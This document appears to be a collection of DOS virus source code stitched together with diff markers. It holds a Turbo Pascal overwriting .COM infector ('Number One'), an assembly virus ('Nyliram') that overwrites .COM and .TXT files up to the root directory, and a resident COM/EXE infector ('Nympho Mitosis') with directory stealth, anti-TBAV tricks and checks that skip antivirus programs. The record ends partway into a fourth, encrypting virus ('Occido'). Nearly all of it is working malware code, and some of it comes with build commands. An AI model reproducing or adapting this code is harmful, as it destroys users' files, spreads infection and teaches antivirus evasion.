Although this is a primitive virus its effective.
|
||||
In this virus only the .COM files are infected. Its about 12K and it will change the date entry.
|
||||
|
||||
{------------------------------------------------------------------}
|
||||
{Number One}
|
||||
{ Number One infects all .COM - file's name will be displayed }
|
||||
{ That file has been overwritten with Number Ones's program code and }
|
||||
{ is not reconstructible! If all files are infected or or no .COM }
|
||||
{ files are found, Number one gives you a <smile. }
|
||||
{ Files may be protected against infections of Number One by }
|
||||
{ setting the Read ONLY attribute. }
|
||||
{ Written 10.3.87 by M.Vallen (Turbo Pascal 3.01A) - edited by ??? }
|
||||
{------------------------------------------------------}
|
||||
{C-}
|
||||
{U-}
|
||||
{I-} { Wont allow a user break, enable IO check }
|
||||
{ -- Constants --------------------------------------- }
|
||||
Const
|
||||
VirusSize = 12027; { Number One's code size }
|
||||
Warning :String[42] { Warning message }
|
||||
= 'This File Has Been Infected by Number One!';
|
||||
{ -- Type declarations------------------------------------- }
|
||||
Type
|
||||
DTARec =Record { Data area for file search }
|
||||
DOSnext :Array[1..21] of Byte;
|
||||
Attr : Byte;
|
||||
Ftime,
|
||||
FDate,
|
||||
FLsize,
|
||||
FHsize : Integer;
|
||||
FullName: Array[1..13] of Char;
|
||||
End;
|
||||
Registers = Record {Register set used for file search }
|
||||
Case Byte of
|
||||
1 : (AX,BX,CX,DX,BP,SI,DI,DS,ES,Flags : Integer);
|
||||
2 : (AL,AH,BL,BH,CL,CH,DL,DH : Byte);
|
||||
End;
|
||||
{ -- Variables--------------------------------------------- }
|
||||
Var
|
||||
{ Memory offset program code }
|
||||
ProgramStart : Byte absolute Cseg:$100;
|
||||
{ Infected marker }
|
||||
MarkInfected : String[42] absolute Cseg:$180;
|
||||
Reg : Registers; { Register set }
|
||||
DTA : DTARec; { Data area }
|
||||
Buffer : Array[Byte] of Byte; { Data buffer }
|
||||
TestID : String[42]; { To recognize infected files }
|
||||
UsePath : String[66]; { Path to search files }
|
||||
{ Lenght of search path }
|
||||
UsePathLenght: Byte absolute UsePath;
|
||||
Go : File; { File to infect }
|
||||
B : Byte; { Used }
|
||||
{ -- Program code------------------------------------------ }
|
||||
Begin
|
||||
WriteLn(Warning); { Display warning message }
|
||||
GetDir(0, UsePath); { get current directory }
|
||||
if Pos('\', UsePath) < UsePathLenght then
|
||||
UsePath := UsePath + '\';
|
||||
UsePath := UsePath + '*.COM'; { Define search mask }
|
||||
Reg.AH := $1A; { Set data area }
|
||||
Reg.DS := Seg(DTA);
|
||||
Reg.DX := Ofs(DTA);
|
||||
MsDos(Reg);
|
||||
UsePath[Succ(UsePathLenght)]:=#0; { Path must end with #0 }
|
||||
Reg.AH := $4E;
|
||||
Reg.DS := Seg(UsePath);
|
||||
Reg.DX := Ofs(UsePath[1]);
|
||||
Reg.CX := $ff; { Set attribute to find ALL files }
|
||||
MsDos(Reg); { Find first matching entry }
|
||||
IF not Odd(Reg.Flags) Then { If a file found then }
|
||||
Repeat
|
||||
UsePath := DTA.FullName;
|
||||
B := Pos(#0, UsePath);
|
||||
If B 0 then
|
||||
Delete(UsePath, B, 255); { Remove garbage }
|
||||
Assign(Go, UsePath);
|
||||
Reset(Go);
|
||||
If IOresult = 0 Then { If not IO error then }
|
||||
Begin
|
||||
BlockRead(Go, Buffer, 2);
|
||||
Move(Buffer[$80], TestID, 43);
|
||||
{ Test if file already ill(Infected) }
|
||||
If TestID < Warning Then { If not then ... }
|
||||
Begin
|
||||
Seek (Go, 0);
|
||||
{ Mark file as infected and .. }
|
||||
MarkInfected := Warning;
|
||||
{ Infect it }
|
||||
BlockWrite(Go,ProgramStart,Succ(VirusSize shr 7));
|
||||
Close(Go);
|
||||
{ Say what has been done }
|
||||
WriteLn(UsePath + 'infected.');
|
||||
Halt; {.. and halt the program }
|
||||
End;
|
||||
Close(Go);
|
||||
End;
|
||||
{ The file has already been infected, search next. }
|
||||
Reg.AH := $4F;
|
||||
Reg.DS := Seg(DTA);
|
||||
Reg.DX := Ofs(DTA);
|
||||
MsDos(Reg);
|
||||
{ ......................Until no more files are found }
|
||||
Until Odd(Reg.Flags);
|
||||
Write('<Smile'); {Give a smile }
|
||||
End.
|
|
@ -0,0 +1,120 @@
|
|||
; ------------------------------------------------------------------------- ;
|
||||
; Nyliram v1.0 coded by KilJaeden of The Codebreakers 1998 ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; to compile ::] tasm nyliram.asm ;
|
||||
; to link :::::] tlink /t nyliram.obj ;
|
||||
; --------------------------------------------------------------------------;
|
||||
|
||||
code segment ; segment named code
|
||||
assume cs:code,ds:code ; assign cs and ds to code
|
||||
org 100h ; .com file 100 hex
|
||||
main proc near ; main procedure near
|
||||
|
||||
first_com:
|
||||
mov ah,4eh ; find the first file
|
||||
|
||||
find_first_com:
|
||||
xor cx,cx ; cx to 0
|
||||
lea dx,comfile ; load *.com into dx
|
||||
int 21h ; make it so DOS!
|
||||
jc first_txt ; if no .com found, find .txt
|
||||
|
||||
open_com:
|
||||
mov ax,3d02h ; open file with read/write
|
||||
mov dx,9eh ; get file name from DTA (80+1e)
|
||||
int 21h ; make it so DOS!
|
||||
|
||||
infect_com:
|
||||
xchg bx,ax ; move file info from ax to bx
|
||||
mov ah,40h ; write to file
|
||||
mov cx,offset finish - offset first_com ; replace with
|
||||
lea dx,first_com ; load effective address
|
||||
int 21h ; make it so DOS!
|
||||
|
||||
close_com:
|
||||
mov ah,3eh ; close the file
|
||||
int 21h ; make it so DOS!
|
||||
mov ah,4fh ; find next file
|
||||
jmp find_first_com ; jump to find_first_com
|
||||
|
||||
first_txt:
|
||||
mov ah,4eh ; find first file
|
||||
|
||||
find_first_txt:
|
||||
xor cx,cx ; cx to 0
|
||||
lea dx,txtfile ; load effective address *.txt
|
||||
int 21h ; make it so DOS!
|
||||
jc next_dir ; if none found, leave
|
||||
|
||||
open_txt:
|
||||
mov ax,3d02h ; open file with read/write
|
||||
mov dx,9eh ; get file name info
|
||||
int 21h ; make it so DOS!
|
||||
|
||||
infect_txt:
|
||||
xchg bx,ax ; put file info into bx
|
||||
mov ah,40h ; write to file
|
||||
mov cx,offset pload_finish - offset pload_start ; replace with
|
||||
lea dx,pload_start ; load effective address
|
||||
int 21h ; make it so DOS!
|
||||
|
||||
close_txt:
|
||||
mov ah,3eh ; close up the file
|
||||
int 21h ; make it so DOS!
|
||||
mov ah,4fh ; find next file
|
||||
jmp find_first_txt ; jump to start again
|
||||
|
||||
next_dir:
|
||||
lea dx,dotdot ; load .. into dx
|
||||
mov ah,3bh ; the int for changing directories
|
||||
int 21h ; make it so!
|
||||
jnc first_com ; jump to first com, start again!
|
||||
|
||||
end_virus:
|
||||
mov ah,09h ; print a message
|
||||
mov dx,offset done ; the message
|
||||
int 21h ; make it so DOS!
|
||||
int 20h ; end the program
|
||||
|
||||
pload_start:
|
||||
db 'There''s not much left to love',10 ; payload in txt
|
||||
db 'Too tired today to hate',10 ; payload in txt
|
||||
db 'I feel the minute of decay',10 ; payload in txt
|
||||
db 'I''m on my way down now',10 ; payload in txt
|
||||
db 'I''d like to take you with me',10 ; payload in txt
|
||||
db 'I''m on my way down...',10 ; payload in txt
|
||||
db 'I''m on my way down now',10 ; payload in txt
|
||||
db 'I''d like to take you with me',10 ; payload in txt
|
||||
db 'I''m on my way down now',10 ; payload in txt
|
||||
db 'The minute that it''s born',10 ; payload in txt
|
||||
db 'It begins to die',10 ; payload in txt
|
||||
db 'I''d love to just give in',10 ; payload in txt
|
||||
db 'I''d love to live this lie',10 ; payload in txt
|
||||
db 'I''ve been to black and back',10 ; payload in txt
|
||||
db 'I''ve whited out my name',10 ; payload in txt
|
||||
db 'A lack of pain, a lack of hope',10 ; payload in txt
|
||||
db 'A lack of anything to say',10 ; payload in txt
|
||||
db 'There is no cure for what is killing me',10 ; payload in txt
|
||||
db 'I''m on my way down',10 ; payload in txt
|
||||
db 'I''ve looked ahead and saw',10 ; payload in txt
|
||||
db 'A world that''s dead',10 ; payload in txt
|
||||
db 'I guess that I am too',10 ; payload in txt
|
||||
db ' ',10 ; payload in txt
|
||||
db 'I''m On My Way Down Now',10 ; payload in txt
|
||||
pload_finish label near ; the end label
|
||||
|
||||
data_area:
|
||||
dotdot db "..",0
|
||||
comfile db "*.com",0
|
||||
txtfile db "*.txt",0
|
||||
done db ' ',10,13
|
||||
db '***********************************************************',10,13
|
||||
db 'You have infected all .com .txt files from this directory ',10,13
|
||||
db 'to the root directory with the Nyliram virus, written by: ',10,13
|
||||
db ' KilJaeden of the Codebreakers ''98 ',10,13
|
||||
db '***********************************************************',10,13,'$'
|
||||
|
||||
finish label near
|
||||
main endp
|
||||
code ends
|
||||
end first_com
|
|
@ -0,0 +1,492 @@
|
|||
.model tiny ;_ASSUME CS=DS=ES=SS
|
||||
.code ;/
|
||||
org 100h ;Origin @ 100h (COM File)
|
||||
;
|
||||
start: ;Marks Start of Source
|
||||
v_start: ;Marks Start of Virus
|
||||
mov bp,000h ;<Ä¿ Constantly ;** Get Rid of TBAV's
|
||||
delta equ $-002h ;<ÄÙ Changing ;** Flexible Entry Point
|
||||
;
|
||||
push ds es ;Save Segments onto Stack
|
||||
;
|
||||
mov ax,5D3Dh ;AX=5D3Dh / CHECKRESIDENT
|
||||
int 021h ;DOS Services
|
||||
;
|
||||
cmp ax,003Dh ;Is the Virus Resident?
|
||||
je restoreCOMEXEfile ;Jump if Equal/Zero
|
||||
;
|
||||
cwd ;Load Register w/Zero
|
||||
mov ds,dx ;DS=>Starting of INT Table
|
||||
xchg di,dx ;Load Register w/Zero
|
||||
;
|
||||
lds ax,dword ptr ds:[084h] ;Load Far Pointer to DS:AX
|
||||
mov word ptr cs:[bp+Int21hOffset],ax ;Save Interrupt Offset
|
||||
mov word ptr cs:[bp+Int21hSegment],ds ;Save Interrupt Segment
|
||||
;
|
||||
mov ax,es ;ES=PSP=AX
|
||||
dec ax ;Decrement for Last MCB
|
||||
mov ds,ax ;AX=Last MCB=DS
|
||||
;
|
||||
cmp byte ptr ds:[di+000h],05Ah ;Is MCB Last in Chain?
|
||||
jne restoreCOMEXEfile ;Jump if Not Equal/Zero
|
||||
;
|
||||
mov byte ptr ds:[di+000h],04Dh ;Mark MCB as NOT Last
|
||||
sub word ptr ds:[di+003h],(heap_end-v_start+100h+015d)/016d+001h
|
||||
sub word ptr ds:[di+012h],(heap_end-v_start+100h+015d)/016d+001h
|
||||
;
|
||||
mov ax,word ptr ds:[di+012h] ;AX=Location of Virus MCB
|
||||
;
|
||||
mov ds,ax ;DS=Location of Virus MCB
|
||||
inc ax ;Increment for Mem Loc
|
||||
mov es,ax ;AX=Memory Location=ES
|
||||
;
|
||||
mov byte ptr ds:[di+000h],05Ah ;Mark MCB as Last in Chain
|
||||
mov word ptr ds:[di+001h],008h ;Mark DOS as Owner of MCB
|
||||
mov word ptr ds:[di+003h],(heap_end-v_start+100h+015d)/016d
|
||||
;
|
||||
push cs ;Push Segment onto Stack
|
||||
pop ds ;Restore into DS (CS=DS)
|
||||
;
|
||||
cld ;Clear Direction Flag
|
||||
mov di,100h ;DI=Location in Memory
|
||||
lea si,[bp+v_start] ;SI=Source of Data
|
||||
mov cx,(heap_end-v_start)/002h ;CX=Number of Bytes
|
||||
rep movsw ;Word @ DS:[SI]=>ES:[DI]
|
||||
;
|
||||
mov ds,cx ;CX=000h=DS=Int Table
|
||||
;
|
||||
cli ;Turn OFF Interrupts
|
||||
mov word ptr ds:[084h],offset Int21Handler
|
||||
mov word ptr ds:[086h],es ;Location in Memory
|
||||
sti ;Turn ON Interrupts
|
||||
;
|
||||
restoreCOMEXEfile: ;
|
||||
pop es ds ;Restore Segments
|
||||
;
|
||||
mov ax,5A4Dh ;AX=5A4Dh (MZ)
|
||||
lea si,cs:[bp+host_bytes] ;SI=Host_Bytes
|
||||
;
|
||||
cmp ax,word ptr cs:[si+000h] ;Is an EXE Our Host?
|
||||
je restoreEXEfile ;Jump if Equal/Zero
|
||||
;
|
||||
xchg ah,al ;Exchange Registers (ZM)
|
||||
;
|
||||
cmp ax,word ptr cs:[si+000h] ;Is an EXE Our Host?
|
||||
je restoreEXEfile ;Jump if Equal/Zero
|
||||
;
|
||||
restoreCOMfile: ;
|
||||
mov di,0FFh ;DI=Location in Memory
|
||||
inc di ;Increment for Real Loc
|
||||
push di ;Push DI onto Stack
|
||||
mov byte ptr [di],0C3h ;** Here, we screw up
|
||||
;** the file _if_ TBClean
|
||||
call di ;** is being run.
|
||||
;** Thanks LM!
|
||||
movsw ;Word @ DS:[SI]=>ES:[DI]
|
||||
movsb ;Byte @ DS:[SI]=>ES:[DI]
|
||||
;
|
||||
retn ;Return to Host Program
|
||||
;
|
||||
restoreEXEfile: ;
|
||||
mov ax,es ;ES=PSP=AX
|
||||
;
|
||||
add ax,010h ;Skip One Segment for CS
|
||||
add ax,word ptr cs:[si+016h] ;Calculate Start of Prog
|
||||
;
|
||||
push ax ;Push New CS to Stack
|
||||
push word ptr cs:[si+014h] ;Push IP to Stack
|
||||
;
|
||||
retf ;Return to Host Program
|
||||
;
|
||||
db "[Nympho Mitosis] v1.0",000h ;Le Nom du Virus
|
||||
db "Copyright (c) 1993 Memory Lapse",000h
|
||||
;
|
||||
Int21Handler: ;
|
||||
cmp ax,5D3Dh ;Is Virus Checking?
|
||||
jne check_execute ;Jump if Not Equal/Zero
|
||||
;
|
||||
cbw ;Convert AL to AX
|
||||
;
|
||||
iret ;Interrupt Return
|
||||
;
|
||||
check_execute: ;
|
||||
cmp ah,011h ;Are We Doing a DIR?
|
||||
je _FCBStealth ;Jump if Equal/Zero
|
||||
; (DOS)
|
||||
cmp ah,012h ;Are We Doing a DIR?
|
||||
je _FCBStealth ;Jump if Equal/Zero
|
||||
; (DOS)
|
||||
cmp ah,04Eh ;Are We Doing a DIR?
|
||||
je _DTAStealth ;Jump if Equal/Zero
|
||||
; (4DOS)
|
||||
cmp ah,04Fh ;Are We Doing a DIR?
|
||||
je _DTAStealth ;Jump if Equal/Zero
|
||||
; (4DOS)
|
||||
push ax bx cx dx di si ds es ;Push Registers onto Stack
|
||||
;
|
||||
cmp ax,6C00h ;Are We Extended Opening?
|
||||
je __disinfectCOMEXEfile ;Jump if Equal/Zero
|
||||
;
|
||||
cmp ah,03Dh ;Are We Opening?
|
||||
je _disinfectCOMEXEfile ;Jump if Equal/Zero
|
||||
;
|
||||
dec ax ;** Get Rid of TBAV's
|
||||
;** Traps Loading of SW.
|
||||
cmp ax,4AFFh ;Are We Executing?
|
||||
je _infectCOMEXEfile ;Jump if Equal/Zero
|
||||
;
|
||||
_Interrupt21h: ;
|
||||
pop es ds si di dx cx bx ax ;Restore Registers
|
||||
;
|
||||
Interrupt21h: ;
|
||||
db 0EAh,000h,000h,000h,000h ;JMP FAR PTR SSSS:OOOO
|
||||
;
|
||||
Int21hOffset equ $-004h ;Buffer for Int 21 Offset
|
||||
Int21hSegment equ $-002h ;Buffer for Int 21 Segment
|
||||
;
|
||||
_FCBStealth: ;
|
||||
jmp FCBStealth ;Unconditional Jump
|
||||
;
|
||||
_DTAStealth: ;
|
||||
jmp DTAStealth ;Unconditional Jump
|
||||
;
|
||||
_infectCOMEXEfile: ;
|
||||
jmp infectCOMEXEfile ;Unconditional Jump
|
||||
;
|
||||
__disinfectCOMEXEfile: ;
|
||||
xchg dx,si ;SI=File Name=>DX
|
||||
;
|
||||
_disinfectCOMEXEfile: ;
|
||||
jmp disinfectCOMEXEfile ;Unconditional Jump
|
||||
;
|
||||
FCBStealth: ;
|
||||
pushf ;Push Flags to Top of Stck
|
||||
push cs ;Push Segment onto Stack
|
||||
call Interrupt21h ;Simulate Interrupt
|
||||
;
|
||||
test al,al ;Was There an Error?
|
||||
jnz endFCBstealth ;Jump if Not Equal/Zero
|
||||
;
|
||||
push es dx cx bx ax ;Push Registers onto Stack
|
||||
;
|
||||
mov ah,051h ;AH=51h / GET PSP ADDRESS
|
||||
int 021h ;DOS Services
|
||||
;
|
||||
mov es,bx ;BX=Address=ES
|
||||
;
|
||||
cmp bx,word ptr es:[016h] ;Is This a Parent PSP?
|
||||
jne restoreFCBregisters ;Jump if Not Equal/Zero
|
||||
;
|
||||
mov bx,dx ;DX=BX
|
||||
mov al,[bx] ;Get First Byte of FCB
|
||||
;
|
||||
push ax ;Save Byte onto Stack
|
||||
;
|
||||
mov ah,02Fh ;AH=2Fh / GET DTA ADDRESS
|
||||
int 021h ;DOS Services
|
||||
;
|
||||
pop ax ;Restore AX
|
||||
;
|
||||
inc al ;Is This an Extended FCB?
|
||||
jnz checkFCBinfected ;Jump if Not Equal/Zero
|
||||
;
|
||||
add bx,007h ;Convert to Normal FCB
|
||||
;
|
||||
checkFCBinfected: ;
|
||||
mov cx,word ptr es:[bx+017h] ;CX=Time
|
||||
mov dx,word ptr es:[bx+019h] ;DX=Date
|
||||
;
|
||||
and cx,01Fh ;Unmask Seconds Field
|
||||
and dx,01Fh ;Unmask Day Field
|
||||
;
|
||||
xor cx,dx ;Are They the Same?
|
||||
jnz restoreFCBregisters ;Jump if Not Equal/Zero
|
||||
;
|
||||
sub word ptr es:[bx+01Dh],(v_end-v_start);Subtract Virus Length
|
||||
sbb word ptr es:[bx+01Fh],000h ;Subtract if Borrow
|
||||
;
|
||||
restoreFCBregisters: ;
|
||||
pop ax bx cx dx es ;Restore Registers
|
||||
;
|
||||
endFCBstealth: ;
|
||||
iret ;Interrupt Return
|
||||
;
|
||||
DTAStealth: ;
|
||||
pushf ;Push Flags to Top of Stck
|
||||
push cs ;Push Segment onto Stack
|
||||
call Interrupt21h ;Simulate Interrupt
|
||||
;
|
||||
jc endDTAstealth ;Jump if Carry Flag Set
|
||||
;
|
||||
push es dx cx bx ax ;Save Registers onto Stack
|
||||
;
|
||||
mov ah,02Fh ;AH=2Fh / GET PSP ADDRESS
|
||||
int 021h ;DOS Services
|
||||
;
|
||||
mov cx,word ptr es:[bx+016h] ;CX=Time
|
||||
mov dx,word ptr es:[bx+018h] ;DX=Date
|
||||
;
|
||||
and cx,01Fh ;Unmask Seconds Field
|
||||
and dx,01Fh ;Unmask Day Field
|
||||
;
|
||||
xor cx,dx ;Are They the Same?
|
||||
jnz restoreDTAregisters ;Jump if Not Equal/Zero
|
||||
;
|
||||
sub word ptr es:[bx+01Ah],(v_end-v_start);Subtract Virus Size
|
||||
sbb word ptr es:[bx+01Ch],000h ;Subtract if Borrow
|
||||
;
|
||||
restoreDTAregisters: ;
|
||||
pop ax bx cx dx es ;Restore Registers
|
||||
;
|
||||
endDTAstealth: ;
|
||||
retf 002h ;Return Far (POP 2 WORDS)
|
||||
;
|
||||
disinfectCOMEXEfile: ;
|
||||
call OpenAndGetSFT ;Call Procedure
|
||||
;
|
||||
mov cx,word ptr es:[di+00Dh] ;CX=Time
|
||||
mov dx,word ptr es:[di+00Fh] ;DX=Date
|
||||
;
|
||||
and cx,01Fh ;Unmask Seconds Field
|
||||
and dx,01Fh ;Unmask Day Field
|
||||
;
|
||||
xor cx,dx ;Are They the Same?
|
||||
jnz disinfect_close ;Jump if Not Equal/Zero
|
||||
;
|
||||
call LSeek ;Move File Pointer to End
|
||||
;
|
||||
xchg cx,dx ;Exchange Register Values
|
||||
xchg dx,ax ;Exchange Register Values
|
||||
;
|
||||
push dx cx ;Save File Size to Stack
|
||||
;
|
||||
sub dx,018h ;Subtract 18 for Host_Byte
|
||||
sbb cx,000h ;Subtract if Borrow
|
||||
;
|
||||
mov word ptr es:[di+015h],dx ;Move File Pointer to
|
||||
mov word ptr es:[di+017h],cx ;Starting of Host_Bytes
|
||||
;
|
||||
mov dx,offset temp_buffer ;DX=Buffer for Data
|
||||
mov cx,018h ;CX=Number of Bytes
|
||||
mov ah,03Fh ;AH=3Fh / READ
|
||||
int 021h ;DOS Services
|
||||
;
|
||||
mov word ptr es:[di+015h],000h ;Move File Pointer to
|
||||
mov word ptr es:[di+017h],000h ;Starting of File (SFT)
|
||||
;
|
||||
mov ah,040h ;AH=40h / WRITE
|
||||
int 021h ;DOS Services
|
||||
;
|
||||
pop cx dx ;Restore File Size
|
||||
;
|
||||
sub dx,(v_end-v_start) ;Subtract Virus Size
|
||||
sbb cx,000h ;Subtract if Borrow
|
||||
;
|
||||
mov word ptr es:[di+015h],dx ;Move File Pointer to
|
||||
mov word ptr es:[di+017h],cx ;Starting of Virus
|
||||
;
|
||||
sub cx,cx ;Load Register w/Zero
|
||||
mov ah,040h ;AH=40h / WRITE
|
||||
int 021h ;DOS Services
|
||||
;
|
||||
mov cx,word ptr es:[di+00Dh] ;CX=Time
|
||||
and cl,0E0h ;Unmask Seconds Field
|
||||
or cl,008h ;Set Seconds to 016d
|
||||
mov dx,word ptr es:[di+00Fh] ;DX=Date
|
||||
;
|
||||
jmp preCLOSECOMEXEfile ;Unconditional Jump
|
||||
;
|
||||
disinfect_close: ;
|
||||
jmp closeCOMEXEfile ;Unconditional Jump
|
||||
;
|
||||
infectCOMEXEfile: ;
|
||||
call OpenAndGetSFT ;Call Procedure
|
||||
;
|
||||
mov cx,word ptr es:[di+00Dh] ;CX=Time
|
||||
mov dx,word ptr es:[di+00Fh] ;DX=Date
|
||||
;
|
||||
and cx,01Fh ;Unmask Seconds Field
|
||||
and dx,01Fh ;Unmask Day Field
|
||||
;
|
||||
xor cx,dx ;Are They the Same?
|
||||
jz _closeCOMEXEfile ;Jump if Equal/Zero
|
||||
;
|
||||
cmp word ptr es:[di+020h],'BT' ;Could It Be ThunderByte?
|
||||
je _closeCOMEXEfile ;Jump if Equal/Zero
|
||||
;
|
||||
cmp word ptr es:[di+020h],'-F' ;Could it Be F-Prot?
|
||||
je _closeCOMEXEfile ;Jump if Equal/Zero
|
||||
;
|
||||
cmp word ptr es:[di+020h],'CS' ;Could it Be ViruScan?
|
||||
je _closeCOMEXEfile ;Jump if Equal/Zero
|
||||
;
|
||||
cmp word ptr es:[di+020h],'LC' ;Could it Be Clean?
|
||||
je _closeCOMEXEfile ;Jump if Equal/Zero
|
||||
;
|
||||
mov dx,offset host_bytes ;DX=Buffer for Data
|
||||
mov cx,018h ;CX=Number of Bytes
|
||||
mov ah,03Fh ;AH=3Fh / READ
|
||||
int 021h ;DOS Services
|
||||
;
|
||||
mov word ptr es:[di+015h],000h ;Move File Pointer to
|
||||
mov word ptr es:[di+017h],000h ;Starting of File (SFT)
|
||||
;
|
||||
mov si,offset temp_buffer ;SI=Temp_buffer
|
||||
;
|
||||
mov ax,4D5Ah ;** Get Rid of TBAV's
|
||||
;** EXE/COM Determination
|
||||
cmp ax,word ptr [host_bytes+000h] ;Is This an EXE File?
|
||||
je infectEXEfile ;Jump if Equal/Zero
|
||||
;
|
||||
xchg ah,al ;Exchange Registers (MZ)
|
||||
;
|
||||
cmp ax,word ptr [host_bytes+000h] ;Is This an EXE File?
|
||||
je infectEXEfile ;Jump if Equal/Zero
|
||||
;
|
||||
infectCOMfile: ;
|
||||
call LSeek ;Move File Pointer to End
|
||||
;
|
||||
mov word ptr [delta],ax ;Write New Delta Offset
|
||||
;
|
||||
sub ax,003h ;Subtract 03 for JMP Loc
|
||||
mov byte ptr [si+000h],0E9h ;Write JMP to Buffer
|
||||
mov word ptr [si+001h],ax ;Write JMP Loc to Buffer
|
||||
;
|
||||
mov cx,003h ;CX=Number of Bytes
|
||||
push cx ;Push Register onto Stack
|
||||
;
|
||||
jmp continueCOMEXEinfect ;Unconditional Jump
|
||||
;
|
||||
_closeCOMEXEfile: ;
|
||||
jmp closeCOMEXEfile ;Unconditional Jump
|
||||
;
|
||||
infectEXEfile: ;
|
||||
mov dx,si ;DX=Buffer for Data
|
||||
push cx ;CX=Number of Bytes
|
||||
mov ah,03Fh ;AH=3Fh / READ
|
||||
int 021h ;DOS Services
|
||||
;
|
||||
call LSeek ;Move File Pointer to End
|
||||
;
|
||||
push dx ax ;Push File Size onto Stack
|
||||
;
|
||||
add ax,(v_end-v_start) ;Add Virus Size to Low Bit
|
||||
adc dx,000h ;Add if Carry to High Bit
|
||||
;
|
||||
mov cx,200h ;CX=Number to Divide By
|
||||
div cx ;Divide AX by CX
|
||||
;
|
||||
or dx,dx ;Do We Need to Round Up?
|
||||
je no_burp ;Jump if Equal/Zero
|
||||
;
|
||||
inc ax ;Increment AX
|
||||
;
|
||||
no_burp: ;
|
||||
mov word ptr [si+004h],ax ;New Length of File ö 512
|
||||
mov word ptr [si+002h],dx ;New # of Bytes in Last Pg
|
||||
;
|
||||
pop ax dx ;Restore File Size
|
||||
;
|
||||
mov cx,010h ;CX=Number to Divide By
|
||||
div cx ;Divide AX by CX
|
||||
;
|
||||
sub ax,word ptr [si+008h] ;Subtact Header Size
|
||||
;
|
||||
mov word ptr [si+016h],ax ;CS=Segment of Virus
|
||||
mov word ptr [si+014h],dx ;IP=Location of Virus
|
||||
;
|
||||
sub dx,100h ;Subtract 100h for Offset
|
||||
mov word ptr [delta],dx ;Write New Delta Offset
|
||||
;
|
||||
continueCOMEXEinfect: ;
|
||||
mov dx,offset v_start ;DX=Location of Data
|
||||
mov cx,(v_end-v_start) ;CX=Number of Bytes
|
||||
mov ah,040h ;AH=40h / WRITE
|
||||
int 021h ;DOS Services
|
||||
;
|
||||
mov word ptr es:[di+015h],000h ;Move File Pointer to
|
||||
mov word ptr es:[di+017h],000h ;Starting of File (SFT)
|
||||
;
|
||||
xchg dx,si ;DX=Location of Data
|
||||
pop cx ;CX=Number of Bytes
|
||||
mov ah,040h ;AH=40h / WRITE
|
||||
int 021h ;DOS Services
|
||||
;
|
||||
mov cx,word ptr es:[di+00Dh] ;CX=Time
|
||||
mov dx,word ptr es:[di+00Fh] ;DX=Date
|
||||
;
|
||||
push dx ;Push Date Stamp to Stack
|
||||
;
|
||||
and cx,-020h ;Reset Seconds
|
||||
and dx,01Fh ;Unmask Day Field
|
||||
;
|
||||
or cx,dx ;Move Day into Seconds
|
||||
;
|
||||
pop dx ;Restore Date
|
||||
;
|
||||
preCLOSECOMEXEfile: ;
|
||||
mov ax,5701h ;AX=5701h / SET T/D STAMPS
|
||||
int 021h ;DOS Services
|
||||
;
|
||||
closeCOMEXEfile: ;
|
||||
mov ah,03Eh ;AH=3Eh / CLOSE File
|
||||
int 021h ;DOS Services
|
||||
;
|
||||
jmp _Interrupt21h ;Unconditional Jump
|
||||
;
|
||||
OpenAndGetSFT: ;
|
||||
mov ax,3D00h ;AX=3D00h / OPEN R/O
|
||||
pushf ;Push Flags to Top of Stck
|
||||
push cs ;Push Segment to Stack
|
||||
call Interrupt21h ;Simulate Interrupt
|
||||
;
|
||||
xchg ax,bx ;Move File Handle to BX
|
||||
;
|
||||
push bx cs cs ;Push Registers to Stack
|
||||
pop es ds ;Equal Out Segments
|
||||
;
|
||||
mov ax,1220h ;AX=1220h / GET JFT
|
||||
int 02Fh ;Multiplex Interrupt
|
||||
;
|
||||
mov ax,1216h ;AX=1216h / GET SFT
|
||||
mov bl,byte ptr es:[di] ;Move Byte into BL
|
||||
int 02Fh ;Multiplex Interrupt
|
||||
;
|
||||
pop bx ;Restore File Handle
|
||||
;
|
||||
mov word ptr es:[di+002h],002h ;Open in Read/Write Mode
|
||||
;
|
||||
retn ;Return to Point of Call
|
||||
;
|
||||
LSeek: push ds ;Push Segment onto Stack
|
||||
;
|
||||
lds ax,dword ptr es:[di+011h] ;Load Far Pointer to DS:AX
|
||||
mov word ptr es:[di+015h],ax ;Move File Pointer to
|
||||
mov word ptr es:[di+017h],ds ;End of File. (SFT)
|
||||
mov dx,ds ;Move High Bit to DX
|
||||
;
|
||||
pop ds ;Restore Segment to DS
|
||||
;
|
||||
retn ;Return to Point of Call
|
||||
;
|
||||
host_bytes dw 020CDh ;First 3 for COM ;Marks Host as an EXE
|
||||
dw 002h ;# of Bytes @ Last Page
|
||||
dw 004h ;# of Pages + Header Size
|
||||
dw 006h ;# of Relocatable Entries
|
||||
dw 008h ;Size of Header (Paras)
|
||||
dw 00Ah ;Min. Memory Required
|
||||
dw 00Ch ;Max. Memory Wanted
|
||||
dw 00Eh ;SS Value at Entry
|
||||
dw 010h ;SP Value at Entry
|
||||
dw 012h ;Negative Checksum
|
||||
dw 014h ;IP Value at Entry
|
||||
dw 016h ;CS Value at Entry
|
||||
;
|
||||
v_end: ;Marks End of Virus
|
||||
heap_start: ;Marks Start of Heap
|
||||
;
|
||||
temp_buffer db 018h dup (?) ;Multipurpose Buffer
|
||||
;
|
||||
heap_end: ;Marks End of Heap
|
||||
;
|
||||
end start ;Marks End of Source
|
|
@ -0,0 +1,285 @@
|
|||
; NAME: Occido.com ( 'Occido' = Several unfriendly meanings in Latin )
|
||||
; TYPE: Appending
|
||||
; ENCRYPTION: Yes ( Double )
|
||||
; INFECTS: COM
|
||||
; RESIDENT: No
|
||||
; STEALTH: No
|
||||
; DT: No ( Directory Transversal )
|
||||
; REPAIRABLE: Yes
|
||||
; PAYLOAD: No
|
||||
; SIZE: 328 bytes
|
||||
; AUTHOR: The Virus Elf
|
||||
|
||||
; Appends itself to files while encrypting itself with two different
|
||||
; encryption routines. Only infects 5 files per run of an infected file.
|
||||
; After infecting 5 files, or all in current directory, it will hide itself
|
||||
; before closing. I just felt like doing it for more fun. If a person were
|
||||
; to pause a running program and do a mem dump, the virus would not show up
|
||||
; because it hides itself before returning control to the running progge.
|
||||
|
||||
start:
|
||||
jmp Virus_start ; Jumps to the start of the virus. This
|
||||
; will change as the virus is appended to
|
||||
; different size files.
|
||||
Virus_start:
|
||||
call Delta ; Now we have to get the delta offset. By
|
||||
; calling Delta we push the address of 'pop bp'
|
||||
; onto the stack.
|
||||
Delta:
|
||||
pop bp ; Put the address into BP so it can be used.
|
||||
sub bp,offset delta ; Now this takes the distance that Delta is now
|
||||
; now (BP) and subtracts where it started
|
||||
; (Offset Delta). Understand?? Hopefully you do!
|
